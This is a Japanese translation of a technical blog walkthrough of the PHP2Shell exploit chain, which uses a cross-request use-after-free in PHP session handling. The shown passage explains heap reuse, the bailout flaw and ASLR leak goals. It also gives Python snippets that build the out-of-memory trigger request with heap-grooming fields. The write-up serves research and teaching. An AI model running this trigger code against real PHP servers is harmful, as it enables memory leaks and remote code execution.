PHP2Shell の詳細解説
PHP2Shell Deep Dive (djad04.github.io)
要約
この記事は、PHP のセッション処理とメモリ管理における脆弱性を突く PHP2Shell エクスプロイトチェーン(CVE-2026-109618 および CVE-2026-109619)について、技術的な詳細を解説しています。メモリリークとコードポインタの漏洩を経て、最終的にリモートコード実行(RCE)に至るまでの攻撃手法を、PHP の内部構造やメモリ割り当ての仕組みを紐解きながら、段階的に説明しています。
全文翻訳
PHP2Shell Deep Dive
このリサーチは2026年10月26日に執筆を開始し、いつ完了するかは定かではありません。
執筆時点では、PHP2Shell に関する情報は非常に少なく、特に脆弱性とエクスプロイトプロセスの詳細な技術分析に関しては、ほとんど公開されていません。
正直なところ、表面をなぞるだけで内部で何が起こっているのかを実際に見せない説明にはうんざりしていました。そこで、私は何か違うことをしたいと思いました。それは、全体プロセスを探求し、すべての重要な詳細を調べ、何が起こるかだけでなく、なぜ、どのように起こるのかを説明する、適切で詳細な技術的ウォークスルーです。
このリサーチは、PHP のソースコードに関する私の個人的な理解、実験、そしてこれらの脆弱性を理解しようと試みる中で行った調査に基づいています。これらのピースをすべてまとめて、私の発見を共有し、根底にあるいくつかの概念を他の人にとって理解しやすくしたいと思いました。
私の主な目標の1つは、技術的な深さを犠牲にすることなく、これをアクセス可能にすることでした。C 言語の基本的な知識と一般的なプログラミング経験があれば、低レベルのメモリエクスプロイトの経験がなくてもついてこれるようにしたいです。
また、このリサーチが、現在誤って説明されている、あるいは誤解されているいくつかの点を明確にするのに役立つことを願っています。ただし、透明性を保ちたいと思います。これは脆弱性に関する私の個人的な技術的理解であり、公式な分析や間違いのない参照ではありません。私もまだ学習し、調査し、点を結びつけている途中です。間違いや不正確な点、あるいは私が誤解している点があるかもしれません。
もし何か間違っている点に気づいたり、異なる解釈があったり、さらに調査が必要だと思う点があれば、遠慮なく私に連絡してください。このリサーチをより正確で、すべての人にとって有用なものにするのに役立つ修正、議論、貢献を心から感謝します。
結局のところ、これを共有する目的は、共に学び、より多くの人々が実際に何が起こっているのかを理解するのを助けることです。
クイックナビゲーション
基本はすでに理解しているという方?興味のある部分に直接ジャンプしてください:
- 始める前に: スタック vs ヒープ、メモリ割り当ての基本
- これはなぜ危険なのか?: スタールポインタの話、UAF の読み書き
- スタールポインタ:どこから来るのか: PHP のセッションと OOM の相互作用における UAF の起源
- 攻撃リクエストの構築: OOM をトリガーする実際の HTTP リクエスト
- 目標: 何を漏洩させる必要があり、なぜか(ヒープポインタ + コードポインタ)
- ターゲット構造体:zend_string: PHP がセッションクッキーを構築する際に読み取る構造体
- メモリの再利用: リクエスト #2 とターゲット zend_string 構造体の作成
- ヒープグルーミングの詳細: 作成したデータが正確に目的のメモリ位置に着地する方法
- multipart_buffer_read_body の謎: 私の頭を悩ませた隠された割り当て
- 2つのリーク、1つではない: なぜヒープリークとコードリークは異なるキャリブレーションを必要とするのか
- コードリーク(ステージ3): ASLR を無効化するための関数ポインタの漏洩
- フィンガープリンティング: 正しいポインタを取得したことをどうやって知るか
- ヒープリークの解析: 256 バイトのカオスからチャンクベースを見つける方法
- 1+8 パイプライン: 両方のリークが実際にどのように配信されるか
- アロケータの再利用による構造体の作成: pDestructor ハイジャックのアイデア
- トリガー: PHP がここで汚い仕事をする、実際の zend_hash_destroy コード
- 1つの構造体に3つの構造体: 384 バイトでの ForgedArray + FakeExecuteData + FakeString
- 最終ペイロード(ステージ4): pDestructor をハイジャックして RCE を得るための HashTable の作成
- プライマーメカニズム: 解放されたプライマーのゴーストが bucket[2] で破壊チェーンをトリガーする方法
- コマンド出力トリック: /proc で自身の TCP ソケットを見つける方法
- 完全なパイプライン: 4 ステージすべてをエンドツーエンドで実行
- 異なるビルドでのキャリブレーション: 各数値が特定の PHP ビルドのヒープ分析からどのように得られるか
- 実世界での摩擦: なぜこの攻撃が実際のプロダクションサーバーでははるかに難しいのか
- Steal My Bitcoin CTF: これすべてを開始したチャレンジ
- 謝辞: クレジットと参考文献
ヒープエクスプロイトに慣れていない方や、完全な体験をしたい方は、そのままスクロールしてください。最初から最後まで読めるように書きました。
始める前に
飛び込む前に、皆さんに心に留めておいてほしいことがいくつかあります。これらは、リサーチを進める上で特に役立つでしょう。前述したように、このウォークスルーを誰にでもアクセス可能にしたいので、より基本的な概念であっても説明する時間を取ります。すでにそれらに精通している場合は、自由にスキップしてください!
スタック vs. ヒープ
典型的なプログラムでは、メモリはスタックやヒープなど、さまざまな領域に整理されています。
例えば、C++ では次のようになります。
int main() {
int a = 30; // 通常はスタックに格納される
int* b = new int(30); // b は通常スタック上にあるが、
// それが指す整数はヒープ上にある
}
ここで、a は値 30 を含むローカル変数です。ポインタ b もローカル変数ですが、ヒープに割り当てられた整数のアドレスを保持しています。
メモリ割り当ての仕組み
PHP は主に C で書かれているため、メモリ割り当てがどのように機能するかを理解する必要があります。
OS はプロセスに独自の仮想アドレス空間を提供します。その後、プロセスのメモリアロケータが、利用可能なメモリ内で割り当てを管理します。
例えば、C++ では new、malloc()、その他のメモリ割り当て方法があります。
アロケータは、毎回 OS から新しいメモリを要求するのではなく、解放されたメモリを再利用しようとすることがよくあります。
また、オブジェクトのライフタイムが終了しても、そのメモリに格納されていたデータが必ずしもすぐに消去されるわけではありません。そのメモリは、再利用可能としてマークされるだけです。
[画像]
これをよりよく理解するために、次のコードを少し見てみましょう。
#include <cstdlib>
#include <iostream>
int main() {
void* a = malloc(64);
free(a);
void* b = malloc(64);
std::cout << a << "\n" << b << std::endl;
free(b);
return 0;
}
ここで、a と b を印刷すると、同じ数値のメモリアドレスが含まれていることがわかるかもしれません。
なぜか? free(a) を呼び出した後、malloc() は以前 a に割り当てられていたメモリを再利用する可能性があり、別のメモリブロックを取得する必要がなくなります。
これは毎回保証されるわけではありませんが、一般的な動作です。
[画像]
これはなぜ危険なのか? スタールポインタの話
[画像]
ここで問題の核心に入ります。メモリがリサイクルされることはわかっていますが、それらのメモリアドレスを保持していた変数に何が起こるのでしょうか?
free(a) を呼び出すと、メモリ割り当てシステムは単に内部レコードを更新して、そのメモリチャンクを再利用可能としてマークします。しかし、そのメモリ内のデータは消去されず、ポインタ変数自体が魔法のように NULL にリセットされるわけではありません。プログラマが明示的にクリアしない限り、ポインタは以前と同じメモリアドレスを保持し続けます。
この残った変数が、スタールポインタ(またはダンリングポインタ)と呼ばれるものです。
スタールポインタを持つことは、いくつかの点で危険です。最も重要な2つは、元のオブジェクトに属さないデータを読み取ること、そして古いポインタを通じて新しいオブジェクトを破損させることです。
他のオブジェクトのデータを読み取る(Use-After-Free)
ユーザーアカウントのメモリを割り当てたと想像してください。
struct User {
char username[24];
int is_admin;
};
int main() {
// 1. ユーザーのメモリを割り当てる
User* a = (User*)malloc(sizeof(User));
// 元のユーザーを初期化する
strcpy(a->username, "alice");
a->is_admin = 0;
// バグを実証するためにポインタのコピーを保持する
User* a_stale = a;
// 2. メモリを解放する。オブジェクトはなくなったが、a_stale はまだアドレスを保持している!
free(a);
この直後に、プログラムが別の場所で別の割り当てを行い、アロケータが同じアドレスを再利用したとします。
User* b = (User*)malloc(sizeof(User));
strcpy(b->username, "jack");
b->is_admin = 1;
したがって、b は a が以前あった場所とまったく同じ場所に存在します。しかし、a_stale は a を解放しただけで、a_stale は更新されていないため、まだそこに指しています。
したがって、a_stale をまだ使用しているコードは、アリスのデータを参照していると考えていますが、実際にはジャックのデータにアクセスしている可能性があります。
if (a_stale->is_admin) {
// アリスは管理者ではなかったのに、これが実行される可能性がある
printf("Welcome admin %s\n", a_stale->username);
}
これにより、ジャックのユーザー名のような、本来見るべきではないデータにアクセスする可能性があり、プログラムは誤った認証決定を下す可能性があります。
技術的には、解放されたメモリへのアクセスは C/C++ では「未定義の動作」であるため、コンパイラやシステムによっては正確な結果は保証されません。しかし、これは根本的な問題を示しています。
しかし実際には、それほど単純ではありません。おそらくあなたは考えているでしょう:「うん、これは良いけど…」
これが機能するためには、まずスタールポインタが必要です。実際のエクスプロイトでは、被害者のプログラムを記述しているわけではないので、a_stale のように意図的に変数のポインタを保存することはできません。バグはコード内に既に存在しなければなりません...
攻撃者は、その解放されたメモリ位置に何が配置されるかにのみ影響を与えることができます。
今のところ、これを深く理解しておいてください。なぜなら、PHP の CVE で議論していることの最も重要な部分になるからです。
他のオブジェクトのデータを変更する(メモリ破損)
今度は逆に想像してください。プログラムが解放された後にメモリに書き込むために古いポインタを使い続けている場合です。
#include <cstdlib>
#include <cstdio>
int main() {
int* a = (int*)malloc(sizeof(int));
*a = 42;
int* stale = a; // 割り当ての別のポインタを保持する
free(a);
// 別の割り当てが同じアドレスを再利用する可能性がある
int* b = (int*)malloc(sizeof(int));
if (b != nullptr) {
*b = 100;
// バグ: stale は古いアドレスを保持している。
// それを通じて書き込むことは未定義の動作である。
*stale = 999;
printf("%d\n", *b); // 999 と表示される可能性がある
}
free(b);
return 0;
}
アロケータがアドレスを再利用した場合、stale は b と同じ数値アドレスを持つ可能性があります。したがって、stale を通じた書き込みは、コードが明示的に b に 999 を書き込んでいないにもかかわらず、b のメモリ内に着弾し、その値を 100 から 999 に変更する可能性があります。
ここで b が単純な整数ではなく、is_admin フラグ、長さ、または関数ポインタのような重要なものであったと想像してください。
それが、これが単なるバグではなく、潜在的なセキュリティ脆弱性になる理由です。
では、PHP はどのようにして独自のスタールポインタを取得するのか?
以前、「バグはプログラム内に既に存在しなければならない:何かが解放されるときに、コードの別の部分がまだポインタを保持している」と言いました。
これがまさに PHP2Shell について答える必要がある質問です。PHP は意図的に攻撃者にスタールポインタを渡すわけではありません...いいえ、PHP はそれほど寛大ではありません。
そのポインタは、正当な PHP 機能が Zend Engine(PHP のコア)のエラー処理メカニズムと相互作用する方法における微妙な欠陥の結果です。
PHP ワーカーは「1つのプログラム、1回の実行」ではない
一度実行して終了する main() を書くことに慣れている人が見落としがちな最初のことは、PHP Web サーバーは HTTP リクエストごとに新しいプロセスを開始するわけではないということです。少数の ワーカープロセス が生存し、リクエストごとにメモリ空間を再利用して処理します。
1つのワーカープロセス、時間の経過とともに:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ リクエスト #1 │ │ リクエスト #2 │ │ リクエスト #3 │ ...
└──────────────┘ └──────────────┘ └──────────────┘
同じヒープ 同じヒープ 同じヒープ
同じグローバル 同じグローバル 同じグローバル
標準的な C プログラムと比較してください。これは、割り当て、解放、そして各終了時にクリーンな状態を保って終了します。PHP ワーカーは継続的なループです。メモリマネージャー(Zend MM)がリクエスト間でヒープをクリーンアップしますが、グローバル変数は明示的にゼロクリアされない限り、C コード内の値は保持されます。イテレーション #1 でぶら下がっているものはすべて、イテレーション #2 でもそこにあります。
session.upload_progress(すべての原因の主なもの)
大きなファイルアップロードの状態を示す進捗バーを表示したいと思わない人はいるでしょうか? PHP 開発者も同じ疑問を持ち、ファイルアップロード中に PHP_SESSION_UPLOAD_PROGRESS という隠しフォームフィールドを使用して、PHP が自動的にアップロードの進捗を追跡する機能を構築しました。
この機能の重要な詳細は、それがいつ実行されるかです。この追跡コードは、PHP が受信した HTTP リクエストを解析する一部として実行されます。あなたのアプリケーション自身の PHP スクリプト(index.php など)が実行を開始する前です。
これを実行するために、PHP はマルチパートフォームデータをインターセプトし、「Basic Globals」(C 言語の BG() マクロ経由でアクセス)を使用してセッション状態を管理します。PHP が進捗情報を挿入するために既存のセッションデータを解析する必要がある場合、これらのグローバル構造体に追跡テーブルを設定します。
これは PHP の実際のソースコードのどこで発生するかです。
ファイル:ext/standard/var_unserializer.re (約60行目、php_var_unserialize_init 内)
/*
* シリアライゼーションがロックされている場合、
* または現在アンシリアライゼーション操作がアクティブでない場合、
* 新しいブックキーピング構造を作成します。
*/
PHPAPI php_unserialize_data_t php_var_unserialize_init(void) {
php_unserialize_data_t d;
if (BG(serialize_lock) || !BG(unserialize).level) {
d = emalloc(sizeof(struct php_unserialize_data));
d->last = &d->entries;
d->first_dtor = d->last_dtor = NULL;
d->allowed_classes = NULL;
d->ref_props = NULL;
d->cur_depth = 0;
d->max_depth = BG(unserialize_max_depth);
d->entries.used_slots = 0;
d->entries.next = NULL;
/*
* 通常のロックされていないパスでは、構造体のアドレスを
* Basic Globals に保存し、最も外側の操作をアクティブとしてマークします。
*/
if (!BG(serialize_lock)) {
BG(unserialize).data = d;
BG(unserialize).level = 1;
}
} else {
/*
* ネストされた操作は、別のものを割り当てるのではなく、
* 既存のブックキーピング構造を再利用します。
*/
d = BG(unserialize).data;
++BG(unserialize).level;
}
return d;
}
簡潔にするためにいくつかの初期化詳細は省略しましたが、重要な部分はまだそこにあります。深くまで掘り下げたい場合は、毎回正確なソースファイルも言及します。
この正確な瞬間に、BG(unserialize).data は新しく割り当てられたメモリチャンクを指しています。PHP ワーカープロセスにアタッチされたグローバル変数であるため、リクエストライフサイクルのどこからでもアクセス可能です。
通常、このデータはアンシリアライザが破棄されるときにクリーンアップされるはずですが... クリーンアップがスキップされる特定の条件があります。それがどのように発生するかは、次の部分で正確に確認します。
ベイルアウト:PHP 版「free() は実行されるが、ポインタはクリアされない」
ここで、重要な部分に入ります。しかし、詳細に入る前に、少し立ち止まって考えてみましょう。C 言語には組み込みの例外処理がありません。では、開発者は実行の途中で何かがうまくいかない場合、どうするのでしょうか?例えば、PHP が何かを割り当て中にメモリを使い果たしたり、セッションデータを解析中に致命的なエラーに遭遇したりした場合はどうなるでしょうか?
PHP には、このような状況のための独自の緊急終了メカニズムがあります。それがベイルアウトです。
緊急射出ボタンと考えてください。何かが深刻に間違った場合、PHP は何事もなかったかのように続行するのではなく、現在の実行パスからジャンプアウトできます。
簡単に言うと、zend_try と zend_catch は PHP エンジンレベルの try/catch 機構の同等物と考えることができます。これらは PHP のベイルアウト機構を中心に構築されており、エンジンが単純に通常の実行を継続することなく、特定の致命的なエラーを処理できるようにします。
しかし、興味深いのは... 内部的には、PHP は zend_try と zend_catch という C マクロを使用しており、これらは標準の C 関数 setjmp と longjmp をラップしています。longjmp() が呼び出されると、実行は以前に保存された setjmp() ポイントにジャンプします。通常の実行は中断され、コードが正しく処理されていない場合、クリーンアップルーチンが完全にバイパスされる可能性があります。
PHP が大規模または深くネストされたセッションペイロードを処理していて、さらにメモリを割り当てる必要があると想像してください。もし割り当てが PHP の memory_limit にヒットし、エンジンのベイルアウトがクリーンアップを担当するコードをスキップした場合、それが管理していたメモリとポインタはどうなるでしょうか?
そこで物事が面白くなり始めます...
これがメモリ不足処理関数です。
ファイル:Zend/zend_alloc.c (約400行目、zend_mm_safe_error 内)
static ZEND_COLD ZEND_NORETURN void zend_mm_safe_error(zend_mm_heap *heap, const char *format, size_t limit, size_t size) {
heap->overflow = 1;
zend_try {
zend_error_noreturn(E_ERROR, format, limit, size); // "Allowed memory size exhausted"
} zend_catch {
} zend_end_try();
heap->overflow = 0;
/*
* テレポーター:
* longjmp() がここで呼び出されます。実行は即座にトップレベルの
* リクエスト境界にジャンプします。
*/
zend_bailout();
}
[画像]
実行がセッション処理ロジックから即座にテレポートされるため、残されたコードを見る必要があります。
ファイル:ext/session/session.c (約1038行目、PS_SERIALIZER_DECODE_FUNC(php) 内)
break_outer_loop:
php_session_normalize_vars();
/*
* 致命的な欠陥:
* このマクロはハッシュテーブルを破棄し、そして最も重要なことに、
* BG(unserialize).data を NULL にリセットするはずです。
*
* zend_bailout() が上記のループ中に実行をテレポートさせたため、
* この行は決して到達されません。
*/
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return retval;
}
エンジンがトップレベルでベイルアウトをキャッチすると、HTTP リクエストは中止されます。失敗したリクエストのティアダウンの一部として、Zend Memory Manager はそのリクエスト中に割り当てられたすべてのメモリを強制的にスイープして解放します。これには BG(unserialize).data が指していたチャンクも含まれます。
メモリは効果的に再利用可能になります(PHP 自身のメモリ不足処理がそれを解放/リサイクルします)。しかし、ベイルアウトが session.c の通常のクリーンアップパスをバイパスしたため、次の関数は決して呼び出されない可能性があります。
ファイル:ext/standard/var_unserializer.re、php_var_unserialize_destroy() 内
PHPAPI void php_var_unserialize_destroy(php_unserialize_data_t d) {
if (BG(serialize_lock) || BG(unserialize).level == 1) {
var_destroy(&d);
efree(d);
}
if (!BG(serialize_lock) && !--BG(unserialize).level) {
BG(unserialize).data = NULL;
}
}
この行をよく見てください。
BG(unserialize).data = NULL;
ビンゴ... そこにあります! これが、私たちが話してきたすべてが意味をなす場所です。スタールポインタを手に入れました! 何が起こったか見てみましょう。
それは PHP ワーカープロセスに属するグローバル構造体に座っており、それが指していたメモリが無効になった後も長く生き残ります。そのワーカープロセスが別の HTTP リクエストを処理するとき、グローバルポインタはまだ解放され、別の何かに再利用できるようになったメモリを指している可能性があります。
つまり、結局 PHP は長年メモリに対して少し寛大すぎたのです...
通常の実行:
状態の初期化
|
v
セッションデータの解析
|
v
アンシリアライザ状態の破棄
|
v
グローバルポインタのクリア
しかし、解析中にベイルアウトが操作を放棄した場合:
状態の初期化
|
v
セッションデータの解析
|
X メモリ不足!
|
v
zend_bailout()
|
v
通常のパスからのジャンプ
期待されるクリーンアップが実行されない可能性がある。
重要な考え方は、ポインタがリセットされる前にメモリが解放される可能性があるということです。後続のリクエストがそれにアクセスする前に、それは使用済み解放(use-after-free)の機会を生み出します。
そしてこの後、さらに深く掘り下げてみました。そして何だと思いますか? それはベイルアウトが残した唯一のポインタではありませんでした... この関数を見てみましょう。
ファイル:php-src/ext/session/session.c:
static PHP_RSHUTDOWN_FUNCTION(session)
{
if (PS(session_status) == php_session_active) {
zend_try {
php_session_flush(1); /* セッションデータをディスクに保存 */
} zend_end_try();
}
php_rshutdown_session_globals(); /* <-- これが私たちが気にかけているものです */
/* ... その他のクリーンアップ ... */
return SUCCESS;
}
これはセッションモジュールのリクエストシャットダウンハンドラです。すべてのリクエストの最後に、PHP はこれを呼び出すはずです。なぜなら、セッションをディスクにフラッシュし、その後 php_rshutdown_session_globals() を呼び出す責任があるからです。これは実際のポインタクリーンアップを行います。
そして php_rshutdown_session_globals() の中を見て、実際に何が起こっているかを確認すると、非常に興味深い行が見つかります。
ファイル:php-src/ext/session/session.c:
static inline void php_rshutdown_session_globals(void)
{
/* ... セーブハンドラを閉じる ... */
if (PS(id)) {
zend_string_release(PS(id)); /* 文字列を解放する */
PS(id) = NULL; /* <-- この行。 */
}
if (PS(session_vars)) {
zend_string_release(PS(session_vars));
PS(session_vars) = NULL;
}
PS(session_status) = php_session_none;
}
PS(id) = NULL... すべてのリクエストの最後に、PS(id) は NULL になるはずですよね?
しかし、前述したのと同じ理由で、PHP_RSHUTDOWN_FUNCTION(session) は決して呼び出されず、PS(id) はまったく同じようにぶら下がったままになります。
これで、同じベイルアウトによって残された2つのスタールポインタが得られました:BG(unserialize).data と PS(id)。さらに多く存在する可能性もありますが、私たちにとって最も興味深いのは PS(id) です。
なぜなら、PS(id) は PHP がレスポンスの Set-Cookie ヘッダーを構築する必要があるたびに PHP が読み取るポインタだからです。つまり、それは読み取りデータに使用できます。次の部分で、それが何を読み取り、どのように読み取るかを見ていきます。
今のところ、ステップバイステップで、実際にメモリ不足の状態をトリガーする方法を見ていきましょう。
攻撃がトリガーされる方法
[画像]
では、攻撃者はこれをどのようにトリガーするのでしょうか?
彼らは、PHP がセッション処理中にメモリを使い果たす原因となる細工されたマルチパートリクエストを送信します。ベイルアウトが通常のクリーンアップをスキップした場合、リクエストのメモリが解放された後、ワーカーはスタールポインタを残したままになる可能性があります。
ここで重要な部分になります。そのスタール状態が残っている間に、同じワーカーが別のリクエストを処理しなければなりません。PHP の session.upload_progress ハンドリングは、それが適切にリセットされる前にその状態にアクセスできます。
そして、これが最初から構築してきた問題です。リクエストをまたいだ使用済み解放(use-after-free)。
実践:攻撃リクエストの構築
理論と実践のギャップを埋めるために、各セクションの最後に実際の攻撃コードを見ていきます。このガイド全体で参照するスニペットは、私の GitHub プロファイルで見つけられる「Steal My Bitcoin」チャレンジの完全な攻撃コードの一部であることを覚えておいてください。
bnd = COOKIE_BOUNDARY # マルチパートフィールドを区切る境界マーカー。
fields = [
mp_field(
bnd,
f"p{i:04d}".encode(),
b"X" * shape.field_value_size
)
for i in range(shape.field_count)
]
# shape.field_count = 生成するフィールドの数。
# shape.field_value_size = 各フィールドの値に含まれるバイト数。
# mp_field() = 1つのマルチパート/フォームデータフィールドをフォーマットするヘルパー。
mp_field() 関数は以下を生成します。
------BOUNDARY
Content-Disposition: form-data; name="p0000"
XXX...XXX (1KBのデータ)
------BOUNDARY
Content-Disposition: form-data; name="p0001"
XXX...XXX (1KBのデータ)
------BOUNDARY
[... p0002 から p0049 まで繰り返す ...]
------BOUNDARY
これは何でしょうか?さて、ステップバイステップで見ていきましょう。
ヒープグルーミングの「スイスチーズ」:
オペレーティングシステムに1バイトずつメモリを要求する代わりに、PHP のアロケータは通常、一度に2メガバイト(MB)の大きなクリーンなブロックからメモリを取得します。その後、リクエストの実行中に、それらの2MBチャンクを変数、文字列、配列用の小さなスロットにスライスします。忙しい Web サーバーでは、現在の2MBチャンクは乱雑です。以前の HTTP リクエストがランダムにメモリを割り当てたり解放したりして、使用済みデータとランダムな空き穴の断片化された風景を残しています。
[画像:スイスチーズメモリモデル — 部分的な解放後のヒープメモリの穴]
ここで重要な PHP_SESSION_UPLOAD_PROGRESS マーカーを送信すると、PHP はそれらの予測不可能な穴の1つにそれをドロップする可能性があります。
それを避けるために、リクエストは50個の小さく、正確に計算されたフィールド(上記のコードのように、p0000 から p0049 まで)を送信することから始まります。50個のパディングフィールドすべてが割り当てられる頃には、以前のリクエストからの残りの空きスロットは完全に消費されています。アロケータの状態は、クリーンで予測可能になりました。
さて、技術的な人々が熱心にタイプしているのが聞こえます...
そして、あなたは絶対に正しいです。私が今説明したのは、Zend Memory Manager の内部で実際に起こっていることの非常に単純化されたバージョンです。実際の状況には、まだ対処する必要のない複雑さが伴います。アロケータがビンが新しいページを要求するにつれて荒野の境界をどのように移動させるか、そしてフリーリストを空にすることがアロケータを荒野に追い込む方法を研究する際に、より深いメカニズムに飛び込みます。
しかし、今すべてをあなたにぶち込みたくはありません。私たちは、後でヒープの内部構造を詳細に掘り下げるときにそこに着きます。すべてが理解できるようになるでしょう...約束します。
今のところ、次のことを覚えておいてください。50個のパディングフィールドは、ランダムに穴を埋めているのではありません。それらは以前に割り当てられたメモリを消費しており、アロケータがクリーンで予測可能なパスに進むことを強制しています。スイスチーズの穴を埋めて、次のスライスが平らに着地するようにするようなものです。
クリティカルなペイロードの到着:
次に、HTTP リクエストは直ちに PHP_SESSION_UPLOAD_PROGRESS マーカーを送信してファイルアップロードプロセスをアクティブにし、次にメモリ不足エラーを引き起こすために高度にネストされた配列を送信し始めます。
fields += [
mp_field(bnd, b"PHPSESSID", b"\x00"), # NULL バイトを値として PHP セッション ID フィールドを追加。
mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"ppp"), # セッションアップロード進捗フィールドを追加。
mp_field(bnd, b"f", b"A" * 64, b"a.txt") # 64 バイトの値とファイル名 "a.txt" を持つファイルフィールドを追加。
]
------BOUNDARY
Content-Disposition: form-data; name="PHPSESSID"
\x00
------BOUNDARY
PHP に伝えます:「ねえ、このリクエストにはセッションがあります」
------BOUNDARY
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ppp
------BOUNDARY
PHP に伝えます:「アップロード進捗追跡をアクティブ化してください」
------BOUNDARY
Content-Disposition: form-data; name="f"; filename="a.txt"
Content-Type: application/octet-stream
AAAA...AAAA (64個のA)
------BOUNDARY
ファイルをアップロード中
for i in range(shape.count):
name = b"f[" + str(i).encode() + b"]" + b"[x]" * shape.depth
# インデックス i、それに続く shape.depth のネストされた [x] セグメントを使用してフィールド名を生成。
fields.append(mp_field(bnd, name, filename=b""))
# 生成された名前と空のファイル名を持つマルチパートファイルフィールドを追加。
------BOUNDARY
Content-Disposition: form-data; name="f[0][x][x][x][x]...[x]"; filename=""
------BOUNDARY
Content-Disposition: form-data; name="f[1][x][x][x][x]...[x]"; filename=""
------BOUNDARY
Content-Disposition: form-data; name="f[2][x][x][x][x]...[x]"; filename=""
------BOUNDARY
[... 997個の追加フィールド、それぞれ異なるインデックス i ...]
------BOUNDARY
Content-Disposition: form-data; name="f[999][x][x][x][x]...[x]"; filename=""
------BOUNDARY
生成している名前の種類を見てください。
f[0][x][x][x][x]...
f[1][x][x][x][x]...
f[2][x][x][x][x]...
フラットなフィールド名を受け取る代わりに、PHP はブラケット表記をネストされた入力構造として解釈する必要があります。その結果、かなりの解析作業と内部データ構造のためのメモリ割り当てが必要なリクエストになります。
その後、すべてを1つのリクエストにパックし、送信し、スタールポインタが望む場所に留まることを祈ります。
目標??
OK、OOM は機能しました。スタールポインタはぶら下がっています。しかし、攻撃者がそれをどのように悪用するかを詳しく見る前に、彼らが実際に何を達成しようとしているのかを理解する必要があります。なぜなら、解放されたメモリを盲目的に読み取ることは、その情報で何をすべきかわからない場合は無用だからです。
そこで、このドキュメントの冒頭でヒープとスタックについて話しました。各プロセスは自分自身のためだけの特定のメモリ領域を取得し、他のプロセスはそれにアクセスできないことについて話しました。しかし、その領域内では、具体的に何がどこに配置されるのでしょうか?
ASLR というものがあるため、その部分は固定されていません。
ASLR(アドレス空間配置ランダム化): プログラムを実行するたびに、OS はデッキをシャッフルします。ヒープ、スタック、共有ライブラリ(libphp.so など)は、常に同じアドレスではなく、ランダムなベースアドレスにロードされます。
したがって、攻撃者がメモリにアクセスする方法を手に入れたとしても、どこに何があるのかを知らずに立ち往生します。それは、メモリ破損バグを単独で無用にするためのものです。なぜなら、それらを適切に悪用するには通常、特定の場所を指す必要があるからです。そして、その「どこか」が実行ごとに移動する場合... 推測するのは運次第です。
しかし、ASLR はバイナリイメージ全体を単一の連続したブロックとしてシフトすることを覚えておいてください。例えば libphp.so 内の関数間の相対オフセットはコンパイル時に固定されており、ELF バイナリに焼き付けられています。したがって、攻撃者が libphp.so 内のいずれかの関数のアドレスを取得すると、すべての関数のアドレスを計算できます。後で非常に興味深くなる zif_system を含めてください。
したがって、これを無効にするには:ステップ1は常に同じです。脆弱性を使用して、通常許可されている範囲を超えて隣接するヒープメモリに読み取り、戦場をマッピングするために2つのものを探します。
1. ヒープポインタ:注入されたデータがどこにあるかを知るため
多くの PHP 内部構造体は、他のヒープ割り当てデータへのポインタを含んでいます。完璧な例は PHP の zend_array です。
ファイル:Zend/zend_types.h (HashTable 構造体):
struct _zend_array {
zend_refcounted_h gc;
union {
uint32_t flags;
} u;
uint32_t nTableMask;
Bucket *arData; /* <--- ヒープへのポインタ */
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor; /* <--- 実行可能コードへの関数ポインタ */
};
オーバーリードが隣接メモリにある zend_array を漏洩させた場合、攻撃者はオフセット 0x10 で arData ポインタを抽出できます。arData はヒープ割り当てバケットストレージを指しているため、この生の住所はヒープがどこにあるかを示します。
そして、Zend アロケータは 2 MiB のアラインされたブロックでメモリを取得するため、攻撃者は単純なビットマスク(address & ~0x1FFFFF)を適用して、そのワーカープロセス全体の正確なヒープチャンクの開始ベースアドレスを取得できます。ヒープベースが見つかると、攻撃者は後でヒープに割り当てるほとんどのオブジェクトの正確なアドレスを知ることができます。
2. コードポインタ:PHP の実行可能関数がどこにあるかを知るため
同じ zend_array 構造体は、配列要素を破棄するために PHP がクリーンアップ中に呼び出す関数ポインタである pDestructor も格納します。標準的な配列の場合、PHP はこれを zval_ptr_dtor に設定します。これは libphp.so の .text セグメントにあるコンパイル済み C 関数です。
漏洩したメモリに pDestructor がそのまま残っている zend_array が含まれている場合、攻撃者は zval_ptr_dtor の実行時アドレスを取得し、他のアドレスを計算できます。
要約すると:ヒープの開始位置と libphp のロード位置がわかれば、ランダム化はもはや問題になりません。適切なオフセットを追加するだけで、その特定の実行でのすべての位置がわかります。シャッフルはすでに起こりましたが、今、カードがどこに着地したかを見ました。
次のポイントに進む前に pDestructor を覚えておいてください。これは攻撃の最終段階でも重要な役割を果たします。
では、攻撃者はどのようにしてワーカーのメモリからこれらのポインタを抽出するのでしょうか?
リクエスト #2:メモリの再利用と文字列の作成
C++ の例で、アリス(a)を解放しましたが、a_stale はまだそのメモリを指しており、その後、ジャック(b)をまったく同じ場所に割り当てたことを覚えていますか? ここで起こっているのはまさにこれです。
攻撃者はリクエスト #2 を送信し、特定のペイロードを割り当てるように慎重に作成します。Zend Engine のメモリアロケータは効率化しようとして、リクエスト #1 から最近解放されたメモリチャンクを再利用します。
これで、スタールポインタ(私たちの a_stale)と攻撃者の新しいペイロード(私たちの b)は、まったく同じメモリアドレスを共有します。(もちろん、Zend アロケータにまったく同じチャンクを返させるのはそれほど簡単ではなく、運任せではありません。正確な操作が必要です。読み進めてください。メモリを操作してこのオーバーラップを保証する方法と、その際のヒープの外観を正確に確認します。)
ターゲット構造体:zend_string
このスタール読み取りを武器に変えるために、攻撃者は PHP に情報を漏洩させる必要があります。覚えていますか? このポインタは読み取りに使用できると言いました。方法は次のとおりです。
PHP には習慣があります。レスポンスを送信するたびに、Set-Cookie: PHPSESSID=... ヘッダーを構築し、そのために PS(id) が指すバイトを読み取ります。そして PS(id) は内部的に文字列を表す C 構造体である zend_string を指しています。
それはこのように書かれています。
php-src/Zend/zend_types.h の約373行目から:
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* ハッシュ値 */
size_t len; /* 読み取るバイト数 */
char val[1]; /* 実際のバイト、インラインで格納 */
};
その len フィールドを見てください。
